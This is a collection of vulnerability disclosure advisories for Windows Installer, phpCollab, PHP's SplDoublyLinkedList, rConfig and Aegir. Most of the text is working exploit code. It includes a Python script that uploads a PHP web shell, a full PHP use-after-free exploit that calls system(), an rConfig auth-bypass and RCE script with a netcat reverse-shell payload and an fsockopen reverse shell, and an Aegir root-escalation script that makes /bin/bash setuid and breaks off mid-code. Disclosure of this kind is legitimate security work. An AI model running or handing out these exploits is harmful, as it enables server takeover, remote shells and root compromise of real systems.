TL;DR

Vulnerability in Windows Installer allows local users to gain elevated SYSTEM privileges in Windows.

Vulnerability Summary

Windows Installer is a software component and application programming interface of Microsoft Windows used for the installation, maintenance, and removal of software.

Windows Installer suffers from a local privilege escalation allowing a local user to gain SYSTEM on victim’s machine. Microsoft has made a patch available that addresses this issue.

Credit

Independent security researcher Abdelhamid Naceri (halov) has reported this vulnerability to the SSD Secure Disclosure program.

CVE

CVE-2020-16902

Affected Versions

Windows 7

Windows 8

Windows 10

Windows 2008

Windows 2012

Windows 2016

Windows 2019

Vendor Response

Microsoft has released patches to address this issue, for more details see: CVE-2020-16902 | Windows Installer Elevation of Privilege Vulnerability

Vulnerability Analysis

The vulnerability was first found by sandbox escaper. She posted the write up here.

As noted in the write up, the original vulnerability got addressed in CVE-2019-1415. However, it was possible to bypass the patch – this was reported to Microsoft and they released it via security patches for CVE-2020-0814 and CVE-2020-1302. It now turns out those patches can be bypassed as well.

Here’s the unpatched output of the windows installer output using Process Monitor:

And then here’s the updated version:

As you can see, there’s no call to SetSecurityFile to secure the folder and so setting up the security description in c:\ allows for a race condition – since by default an authenticated user has delete access to subdirectories. This means we can call CreateDirectory(path,&sz) and set sz to our security descriptor. That was the patch for CVE-2020-0814.

But wait, why should the directory be protected from a user?

Windows Installer Rollback Files and Scripts

When you try to install, repair, uninstall something you might notice that there’s a cancel button

According to the Microsoft Documentation when the Windows Installer processes the installation script for the installation of a product or application, it simultaneously generates a rollback script and saves a copy of every file deleted during the installation.

These files are kept in a hidden system directory and are automatically deleted once the installation is successfully completed. If however the installation is unsuccessful, the installer automatically performs a rollback that returns the system to its original state.

So if we can modify the rollback files we can do changes to the machine in the context of the windows installer service which runs as SYSTEM.

As you can see here:

There are probably no race conditions since we can’t access the directory because of the ACL.

The security descriptor doesn’t allow even a user to get read access to the directory.

But there’s still something we can do. As seen above, Windows installer doesn’t create the rollback script directly but rather creates a directory and puts temporary files in it, and then deletes the directory.

However, there’s a weird part when the windows installer checks to see if the directory still exists after it successfully deleted it (see the NAME NOT FOUND). If the directory still exist after Windows Installer deleted it, CVE-2020-1302 resurfaces.

As you can see Windows Installer tries to set the security of the folder, which can be easily abused: since we created the directory, we have the ownership of the directory and will have WRITE_DAC access to the directory. As soon as Windows Installer tries to change the ACL to make it write restricted we change it to give everyone access to the directory.

It should be noted that accessing the rollback is a little bit difficult: the rollback script is created with a security descriptor that allow only SYSTEM and Administrators to access to it, which means that even if we control the c:\config.msi directory we can’t access the rollback script. However as can be seen in CVE-2020-0814, we can move the entire directory and then replace it as, and at this point we would have control over the entire directory and this will allow us to delete or move it.

This means we can move the entire directory into a temporary place and then create it by ourselves and place in it our specially created rollback file which would then be executed. Windows Installer usually makes it harder than it sounds, since the Windows Installer creates the rollback file in the directory using a special sharing method:

As you can see we are only allowed read only access, so any attempt to access to it with delete or write access will result in SHARING_VIOALATION.

We can still do some damage sooner or later as the Windows Installer will close the handle, but then again reopen it when Windows Installer wants to read it after clicking on Cancel. In between these two steps we can to move the directory and replace it.

So far the vulnerability would require a timing attack: pressing on the Cancel button at the right moment. So we need to address it in order to make the LPE work seamlessly.

In order to do that, we’ll use an application called Advanced Installer, used to create MSI packages. This application has a nice feature called Custom Actions:

Clicking on it will show you these options:

Clicking on “Launch File” will bring up:

The interesting option is Fail the installation if the custom action return an error, this what we are looking for an automated rollback. You can also see an option at the bottom called Condition. Let’s see what we can do with it.

As you can see, it asks us for the expression and it expects something like if(condition==true){//then execute}

If you pick the Wizard option (just right of the text box), you can then select Feature and click Next:

We can pick the Feature is being reinstalled:

This will allow us to execute the file only if the package is being repaired, making our exploit no longer require any user interaction.

At this point we have everything ready, we have an MSI package that will fail, will automatically rollback and will execute our code – we just need the Rollback file placed in the right folder and we are set.

Our rollback file will modify the Fax service executable to something we control – since users are allowed to start this service without any special privileges, after the registry was modified we just need to star the service and we get SYSTEM privileges.

Exploit

Because the exploitation of this vulnerability requires building an MSI file and using Bluebear rollback generated file, we will not be providing an exploit for this vulnerability – a working exploit in binary form was provided to Microsoft and used by them to verify the findings.

TL;DR

Find out how a vulnerability in phpCollab allows an unauthenticated user to reach RCE abilities and run code as ‘www-data’.

Vulnerability Summary

phpCollab is “a project management and collaboration system. Features include: team/client sites, task assignment, document repository/workflow, gantt charts, discussions, calendar, notifications, support requests, weblog newsdesk, invoicing, and many other tools”.

A vulnerability in phpCollab allows unauthenticated users to exploit the vulnerability through the file upload feature, and perform Remote Code Execution.

Credit

An independent, Trung Le, Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Versions

phpCollab 2.7.2 and prior

Fixed Versions

phpCollab 2.8.2

Vendor Response

“We released v2.8.2 a few days ago, which included the fixes that resolve the vulnerability you reported.

If you have found that the vulnerability is still present, or have found something else, please let us know and we will investigate it.

Thanks for helping test this issue”.

Vulnerability Analysis

phpCollab allows uploading content by admin whenever a new client is created. This is done through the editclient.php page.

Due to a mistake this page however appears to lacks basic tests for whether or not the user has logged on to the system when accessed directly and a POST request is used.

This allows a remote attacker to upload files to the server, which he can then subsequently, access.

By uploading a PHP file to the server which contains code execution commands, a remote user can run code without requiring to be logged on to the phpCollab application.

NOTE: Because the phpCollab application stores the files in a sequential number – based on how many previous uploads have occurred – a subsequent call to iterate through all possible files is required.

Demo

Exploit

#!/usr/bin/python3
import requests
import sys
import logging

try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client
# http_client.HTTPConnection.debuglevel = 1

logging.basicConfig()
# logging.getLogger().setLevel(logging.DEBUG)
# requests_log = logging.getLogger("requests.packages.urllib3")
# requests_log.setLevel(logging.DEBUG)
# requests_log.propagate = True

if len(sys.argv) < 2:
  print("Please provide a base URL")
  sys.exit()

url = sys.argv[1]

print("Attacking URL: {}".format(url))

payload = """<?php
system($_GET['cmd'])
?>"""

data = {
  'owner' : '1',
  'name' : '''5aaa()<>/"';''',
}

files = {'upload' : ( 'something.php', payload), }

headers = {
}

print("Uploading shell file")
response = requests.post( '{}clients/editclient.php?action=add&'.format(url), verify=False, files = files, data = data, headers = headers)

# print("body: {}".format(response.request.body))
# print("headers: {}".format(response.request.headers))

print("Looking for our shell file")
for number in range(1, 50):
  shell_url = '{}logos_clients/{}.php?cmd=id'.format(url, number)
  response = requests.get(shell_url)
  if response.status_code == 200 and 'uid=' in response.text:
    print("Command shell found at: {}".format(shell_url))
    sys.exit()

TL;DR

Find out how a use after free vulnerability in PHP allows attackers that are able to run PHP code to escape disable_functions restrictions.

Vulnerability Summary

PHP’s SplDoublyLinkedList is vulnerable to an UAF since it has been added to PHP’s core (PHP version 5.3, in 2009). The UAF allows to escape the PHP sandbox and execute code. Such exploits are generally used to bypass PHP limitations such as disable_functions, safe_mode, etc.

Credit

An independent Security Researcher, Charles Fol (@cfreal_), has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

PHP version 8.0 (alpha)

PHP version 7.4.10 and prior (probably also future versions will be affected)

Vendor Response

According to our security classification, this is not a security issue – https://wiki.php.net/security#not_a_security_issue, because it requires very special exploit code on the server. If an attacker is able to inject code, there may be more serious issues than bypassing disable_functions (note that safe_mode is gone for many years).

Vulnerability Analysis

SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
Said iteration is done by keeping a pointer to the “current” DLL element.

You can then call next() or prev() to make the DLL point to another element.

When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still
pointing to the associated element, even if it was removed from the list.

This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the zval’s destructor.

Code flow from input to the vulnerable condition

We create an SplDoublyLinkedList object $s with two values; the first one is an object with a specific __destruct, and the other does not matter. We call $s->rewind() so that the iterator current element points to our object.
When we call $s->offsetUnset(0), it calls the underlying C function SPL_METHOD(SplDoublyLinkedList, offsetUnset) (in ext/spl/spl_dllist.c) which does the following:

1. Remove the item from the doubly-linked list by setting
   element->prev->next = element->next
element->next->prev = element->prev
   (effectively removing the item from the DLlist)
2. Destroy the associated zval (llist->dtor)
3. If intern->traverse_pointer points to the element (which is the case), reset the pointer to NULL.

On step 2, the __destruct method of our object is called. intern->traverse_pointer still points to the element. To trigger an UAF, we can do:

2. 1. Remove the second element of the DLlist by calling $s->offsetUnset(0).
      now, intern->traverse_pointer->next points to a freed location
   2. Call $s->next(): this effectively does intern->traverse_pointer = intern->traverse_pointer->next. Since this was freed just above, traverse_pointer points to a freed location.
   3. Using $s->current(), we can now access freed memory -> UAF

Suggested Fixes

intern->traverse_pointer needs to be cleared before destroying the zval, and the reference can be deleted afterwards. Something like this would do:

        was_traverse_pointer = 0;

        // Clear the current pointer
        if (intern->traverse_pointer == element) {
            intern->traverse_pointer = NULL;
            was_traverse_pointer = 1;
        }

        if(llist->dtor) {
            llist->dtor(element);
        }

        if(was_traverse_pointer) {
            SPL_LLIST_DELREF(element);
        }

        // In the current implementation, this part is useless, because
        // llist->dtor will UNDEF the zval before
        zval_ptr_dtor(&element->data);
        ZVAL_UNDEF(&element->data);

        SPL_LLIST_DELREF(element);

Demo

Exploit

<?php
#
# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
#
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.
#  
#

error_reporting(E_ALL);

define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);

function i2s(&$s, $p, $i, $x=8)
{
    for($j=0;$j<$x;$j++)
    {
        $s[$p+$j] = chr($i & 0xff);
        $i >>= 8;
    }
}


function s2i(&$s, $p, $x=8)
{
    $i = 0;

    for($j=$x-1;$j>=0;$j--)
    {
        $i <<= 8;
        $i |= ord($s[$p+$j]);
    }

    return $i;
}


class UAFTrigger
{
    function __destruct()
    {
        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;

        #"print('UAF __destruct: ' . "\n");
        $dlls[NB_DANGLING]->offsetUnset(0);
        
        # At this point every $dll->current points to the same freed chunk. We allocate
        # that chunk with a string, and fill the zval part
        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
        i2s($fake_dll_element, 0x00, 0x12345678); # ptr
        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff
        
        # Each of these dlls current->next pointers point to the same location,
        # the string we allocated. When calling next(), our fake element becomes
        # the current value, and as such its rc is incremented. Since rc is at
        # the same place as zend_string.len, the length of the string gets bigger,
        # allowing to R/W any part of the following memory
        for($i = 0; $i <= NB_DANGLING; $i++)
            $dlls[$i]->next();

        if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
            die('Exploit failed: fake_dll_element did not increase in size');
        
        $leaked_str_offsets = [];
        $leaked_str_zval = [];

        # In the memory after our fake element, that we can now read and write,
        # there are lots of zend_string chunks that we allocated. We keep three,
        # and we keep track of their offsets.
        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
        {
            # If we find a string marker, pull it from the string list
            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
            {
                $leaked_str_offsets[] = $offset;
                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
                if(count($leaked_str_zval) == 3)
                    break;
            }
        }

        if(count($leaked_str_zval) != 3)
            die('Exploit failed: unable to leak three zend_strings');
        
        # free the strings, except the three we need
        $strs = null;

        # Leak adress of first chunk
        unset($leaked_str_zval[0]);
        unset($leaked_str_zval[1]);
        unset($leaked_str_zval[2]);
        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);

        # At this point we have 3 freed chunks of size 40, which we can read/write,
        # and we know their address.
        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");

        # In the third one, we will allocate a DLL element which points to a zend_array
        $rw_dll->push([3]);
        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
        # Change the zval type from zend_object to zend_string
        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
        if(gettype($rw_dll[0]) != 'string')
            die('Exploit failed: Unable to change zend_array to zend_string');
        
        # We can now read anything: if we want to read 0x11223300, we make zend_string*
        # point to 0x11223300-0x10, and read its size using strlen()

        # Read zend_array->pDestructor
        $zval_ptr_dtor_addr = read($array_addr + 0x30);
    
        print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");

        # Use it to find zif_system
        $system_addr = get_system_address($zval_ptr_dtor_addr);
        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");
        
        # In the second freed block, we create a closure and copy the zend_closure struct
        # to a string
        $rw_dll->push(function ($x) {});
        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
        $data = str_shuffle(str_repeat('A', 0x200));

        for($i = 0; $i < 0x138; $i += 8)
        {
            i2s($data, $i, read($closure_addr + $i));
        }
        
        # Change internal func type and pointer to make the closure execute system instead
        i2s($data, 0x38, 1, 4);
        i2s($data, 0x68, $system_addr);
        
        # Push our string, which contains a fake zend_closure, in the last freed chunk that
        # we control, and make the second zval point to it.
        $rw_dll->push($data);
        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");
        
        # Calling it now
        
        print('Running system("id");' . "\n");
        $rw_dll[1]('id');

        print_r('DONE'."\n");
    }
}

class DanglingTrigger
{
    function __construct($i)
    {
        $this->i = $i;
    }

    function __destruct()
    {
        global $dlls;
        #D print('__destruct: ' . $this->i . "\n");
        $dlls[$this->i]->offsetUnset(0);
        $dlls[$this->i+1]->push(123);
        $dlls[$this->i+1]->offsetUnset(0);
    }
}

class SystemExecutor extends ArrayObject
{
    function offsetGet($x)
    {
        parent::offsetGet($x);
    }
}

/**
 * Reads an arbitrary address by changing a zval to point to the address minus 0x10,
 * and setting its type to zend_string, so that zend_string->len points to the value
 * we want to read.
 */
function read($addr, $s=8)
{
    global $fake_dll_element, $leaked_str_offsets, $rw_dll;

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

    $value = strlen($rw_dll[0]);

    if($s != 8)
        $value &= (1 << ($s << 3)) - 1;

    return $value;
}

function get_binary_base($binary_leak)
{
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++)
    {
        $addr = $start - 0x1000 * $i;
        $leak = read($addr, 7);
        # ELF header
        if($leak == 0x10102464c457f)
            return $addr;
    }
    # We'll crash before this but it's clearer this way
    die('Exploit failed: Unable to find ELF header');
}

function parse_elf($base)
{
    $e_type = read($base + 0x10, 2);

    $e_phoff = read($base + 0x20);
    $e_phentsize = read($base + 0x36, 2);
    $e_phnum = read($base + 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = read($header + 0x00, 4);
        $p_flags = read($header + 0x04, 4);
        $p_vaddr = read($header + 0x10);
        $p_memsz = read($header + 0x28);

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
            # handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        die('Exploit failed: Unable to parse ELF');

    return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = read($data_addr + $i * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'constant' constant check
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = read($data_addr + ($i + 4) * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'bin2hex' constant check
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_system($basic_funcs)
{
    $addr = $basic_funcs;
    do {
        $f_entry = read($addr);
        $f_name = read($f_entry, 6);

        if($f_name == 0x6d6574737973) { # system
            return read($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

function get_system_address($binary_leak)
{
    $base = get_binary_base($binary_leak);
    print('ELF base: 0x' .dechex($base) . "\n");
    $elf = parse_elf($base);
    $basic_funcs = get_basic_funcs($base, $elf);
    print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
    $zif_system = get_system($basic_funcs);
    return $zif_system;
}

$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();


# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
{
    $dlls[$i] = new SplDoublyLinkedList();
    $dlls[$i]->push(new DanglingTrigger($i));
    $dlls[$i]->rewind();
}

# We want our UAF'd list element to be before two strings, so that we can
# obtain the address of the first string, and increase is size. We then have
# R/W over all memory after the obtained address.
define('NB_STRS', 50);
for($i = 0; $i < NB_STRS; $i++)
{
    $strs[] = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
    i2s($strs[$i], 0, STR_MARKER);
    i2s($strs[$i], 8, $i, 7);
}

# Free one string in the middle, ...
$strs[NB_STRS - 20] = 123;
# ... and put the to-be-UAF'd list element instead.
$dlls[0]->push(0);

# Setup the last DLlist, which will exploit the UAF
$dlls[NB_DANGLING] = new SplDoublyLinkedList();
$dlls[NB_DANGLING]->push(new UAFTrigger());
$dlls[NB_DANGLING]->rewind();

# Trigger the bug on the first list
$dlls[0]->offsetUnset(0);

TL;DR

Find out how a chain of vulnerabilities in rConfig allows a remote unauthenticated user to gain ‘apache’ user access to the vulnerable rConfig installation.

Vulnerability Summary

rConfig is “an open source network device configuration management utility that takes frequent configuration snapshots of devices. Open source, and built by Network Architects – We know what you need!”

Two vulnerabilities in rConfig remote unauthenticated RCE. One vulnerability allows an unauthenticated user to become authenticated, another vulnerability which is post-authentication allows an attacker to execute arbitrary code.

Credit

An independent Security Researcher, Daniel Monzón, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

rConfig 3.9.6 and prior

Vendor Response

The vendor was initially very responsive and provided feedback and a link to an updated version (3.9.6) – we originally verified the vulnerability on version 3.9.5.

We were able to confirm that version 3.9.6 is also vulnerable and communicated this back to the vendor.

The vendor has not responded since July and failed to provide any timeline for a fix or a patch.

At the moment we are not aware of a patch or a workaround to prevent these two vulnerabilities from being exploited.

Vulnerability Analysis

rConfig is vulnerable to multiple RCE vulnerabilities.

ajaxArchiveFiles.php RCE

In the file /home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php there is a blind command injection vulnerability in the ext parameter (different from CVE-2019-19509, which by the way, has not been resolved and it is still present, as you can see in the screenshot):

To trigger the vulnerability the following raw request can be sent:

ajaxEditTemplate.php RCE

The second RCE is in the connection template edit page of rConfig. It is possible to introduce PHP code inside a file and call it ../www/test.php. This would allow an attacker to make the file reachable from the outside of the box. If the filename does not end in .yml, rConfig appends it, therefore a file called test.php will be accessible via https://rconfig/test.php.yml

updater.php RCE

The third RCE is in https://rconfig/updater.php?chk=1. There are not enough checks for in the updater.php file. If we grab a real rConfig ZIP and add a PHP webshell to the ZIP, upload and install, we we will find that the new admin credentials are admin:admin and we will have a nice webshell.

userprocess.php Authentication Bypass

The first authentication bypass vulnerability lays on the register function of
/home/rconfig/www/lib/crud/userprocess.php. There is no authentication enforced, so we can just create our own admin user (ulevelid = 9).

useradmin.inc.php Authentication Bypass

The second authentication bypass vulnerability is in the same file than the previous one. Using the information leakage in https://rconfig/useradmin.inc.php we can get to know which users are present in the rConfig instance, so we can update the details of the account (including the password), with again, no authentication required:

Demo

Exploit

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3
import re
#from bs4 import BeautifulSoup

urllib3.disable_warnings()

url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)
payload="nc y.y.y.y 9001 -e /bin/sh"  #change this to whatever payload you want
payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter

print("Connecting to: {}".format(url))
print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))

x = requests.get(url+"login.php", verify=False)
version = re.search("<p>(.*)<span>", x.text)
version = version.group(1)

if version == "rConfig Version 3.9.5":
   print("Version 3.9.5 confirmed")
else:
   print("Version is "+version+ " it may not be vulnerable")

payload_final=";"+payload
referer=url+"useradmin.php"
origin=url
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request

def createuser():

    multipart_data = MultipartEncoder(
       fields={
               'username': 'test', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'test@test.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': ''
              }
       )
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
    cookies = {'PHPSESSID': 'test'}
    response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
    if "error" not in response.text:
        print("(+) User test created")
    else:
        print("(-) User couldn't be created, please debug the exploit")


def exploit():
    payload = {
    'user': 'test',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit")


def user_enum_update():
    users=requests.get(url+'useradmin.inc.php', verify=False)
    #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)
    
    if "admin" in users.text:
      print("(+) The admin user is present in this rConfig instance")
      multipart_data = MultipartEncoder(
       fields={
               'username': 'admin', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'admin@admin.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': '1' #you may need to increment this if you want to reset the password of a different user
              }
       )
      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
      cookies = {'PHPSESSID': 'test'}
      response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
      if "error" not in response.text:
          print("(+) The new password for the admin user is Testing1@")
      else:
          print("(-) Admin user couldn't be edited, please debug the exploit")
    elif  "Admin" in users.text:
       print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")
    
def template():
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    
    #<%3fphp+%24sock%3Dfsockopen%28%22192.168.1.13%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%3f>
    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as admin completed")
            rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)
            if "success" in rce.text:
                print("(+) File created")
                rce_req = s.get(url+'test.php.yml', verify=False)
                print("(+) Command results: ")
                print(rce_req.text)
            else:
                print("(-) Error when executing payload, please debug the exploit")

def main():
    print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")
    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")
    print('''Choose method for authentication bypass:
        1) User creation
        2) User enumeration + User edit ''')
    auth_bypass=str(input("Method>"))
    if auth_bypass == "1":
       createuser()
    elif auth_bypass == "2":
       user_enum_update()
    print('''Choose method for RCE:
        1) Unsafe call to exec()
        2) Template edit ''')
    rce_method=str(input("Method>"))
    if rce_method == "1":
       exploit()
    elif rce_method == "2":
       template()
main()

TL;DR

Find out how we exploited a behavior of Apache while using the limited rights of Aegir user to gain root access.

Vulnerability Summary

Aegir is a free and open source Unix based web hosting control panel
program for Application lifecycle management that provides a graphical interface designed to simplify deploying and managing Drupal, WordPress and CiviCRM Web sites.

When installing Aegir using official packages, the script aegir3-provision.postinst installs an unsafe sudoer rule, allowing to elevate privileges from the user aegir to root.

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

Aegir installations running under Apache

Unaffected Systems

Aegir installations running under Nginx

Vendor Response

The vendor released a statement, https://www.drupal.org/sa-contrib-2020-031, that the user aegir should not be used by any untrusted user as well as that customers should migrate to an Nginx setup (which is now the default) to prevent such attacks from being possible.

Vulnerability Analysis

During the installation of the package aegir3-provision, the script
aegir3-provision.postinst will create a sudo configuration file in
/etc/sudoers.d/aegir:

if [ -d /etc/sudoers.d ]; then
  ucf --debconf-ok /usr/share/drush/commands/provision/example.sudoers /etc/sudoers.d/aegir
  ucfr aegir-provision /etc/sudoers.d/aegir
  chmod 440 /etc/sudoers.d/aegir
else
  echo "running an older version of sudo"
  echo "copy content of /usr/share/drush/commands/provision/example.sudoers into /etc/sudoers for aegir to run properly"
fi

This file allows the user aegir to call /usr/sbin/apache2ctl (the
reference to /etc/init.d/nginx is not relevant here, as the package is not installed by default):

aegir ALL=NOPASSWD: /usr/sbin/apache2ctl
aegir ALL=NOPASSWD: /etc/init.d/nginx

This way, the user aegir can reload apache2‘s configuration to support
new virtual hosts. Part of this configuration is loaded from aegir‘s home
directory, as aegir3-provision.postinst creates a symbolic link between
/var/aegir/config/apache.conf and /etc/apache2/conf-enabled/aegir.conf:

case $WEBSERVER in 
apache)
  if [ -d /etc/apache2/conf-enabled ]; then
    # Apache 2.4
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf-enabled/aegir.conf
  else
    # Apache 2.2
    ln -sf $AEGIRHOME/config/$WEBSERVER.conf /etc/apache2/conf.d/aegir.conf
  fi
  a2enmod ssl rewrite
  apache2ctl graceful
;;

However, configuration files can declare dynamic libraries to be loaded by
the HTTP server and also external error loggers. As described in
the documentation:

Piped log processes are spawned by the parent Apache httpd process, and inherit the userid of that process. This means that piped log programs usually run as root.

https://httpd.apache.org/docs/2.4/en/logs.html#piped

By modifying /var/aegir/config/apache.conf to declare a custom ErrorLog,
and then reloading the apache2 configuration using sudo /usr/sbin/apache2ctl restart, it will be possible to execute arbitrary commands as root.

As /usr/sbin/apache2ctl can also accept various flags to declare additional
configuration directives and write to arbitrary files, other ways to elevate
privileges may exist.

Temporary workaround

Remove the file /etc/sudoers.d/aegir. As Aegir will not be able to reload
the configuration of apache2, new hosts created on the interface will not
be reachable before a manual reload.

Fix (Unofficial)

The following changes could be implemented to prevent the privilege
escalation:

• Deploying apache2 as an unprivileged service to be started as root, but
• with the capability CAP_NET_BIND_SERVICE.
• Using vhost_dbd_module to declare virtual hosts in a database, removing the need of loading apache2 configuration files from aegir‘s home directory.
• Using a custom service to convert a set of ini files declaring virtual hosts and writing them into /etc/apache2. The user aegir would only be allowed to edit these files, start the conversion process and reload apache2.

Demo

Exploit

#/usr/bin/python2.7
import sys
import os

COMMAND='/usr/bin/chmod +s /bin/bash'

SUDO_RELOAD='/usr/bin/sudo /usr/sbin/apache2ctl restart'
APACHE_CONFIG='/var/aegir/config/apache.conf'

if not COMMAND and len(sys.argv) != 2:
  print 'Usage: python2.7 {} <command>'.format(sys.argv[0])
  sys.exit(1)

with open(APACHE_CONFIG, 'a+') as f:
  cmd = sys.argv[1] if not COMMAND else COMMAND
